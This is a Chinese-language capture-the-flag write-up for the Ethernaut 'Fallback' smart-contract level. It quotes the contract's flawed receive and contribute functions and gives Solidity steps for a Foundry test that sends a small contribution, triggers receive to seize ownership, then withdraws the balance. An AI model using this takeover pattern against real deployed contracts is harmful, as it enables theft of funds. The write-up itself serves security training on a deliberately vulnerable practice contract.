通过这关你需要
- 获得这个合约的所有权
- 把这个合约的的余额减到0
根据Foundry 官方文档配置好运行环境后,于本项目下执行下列命令:
$ cd WTF-CTF
$ forge test -C src/Ethernaut/Fallback -vvvvv
-
合约中有两个地方可以替换owner
contribute函数
function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } }
receive函数
receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; }
-
使用contribute函数进行攻击,需要我们比owner还要有钱
查询合约owner有多少余额,1000贡献(1000ETH)
constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); }
虽然我们可以使用Foundry进行钞能力攻击,但......
-
使用receive函数进行攻击,需要我们给合约转一笔钱并且还需要我们在合约中的余额大于0。所以先给合约贡献一点钱,再给合约转一笔钱。
Fallback(payable(fallBack)).contribute{value: 1}(); (bool success, bytes memory data) = payable(fallBack).call{value: 1}(""); if (!success) { revert(string(data)); }
即可获取到合约的owner。
address owner = Fallback(payable(fallBack)).owner(); assertEq(owner, address(this));
-
最后把合约中的钱转走
Fallback(payable(fallBack)).withdraw();
-
提交合约实例,完成目标。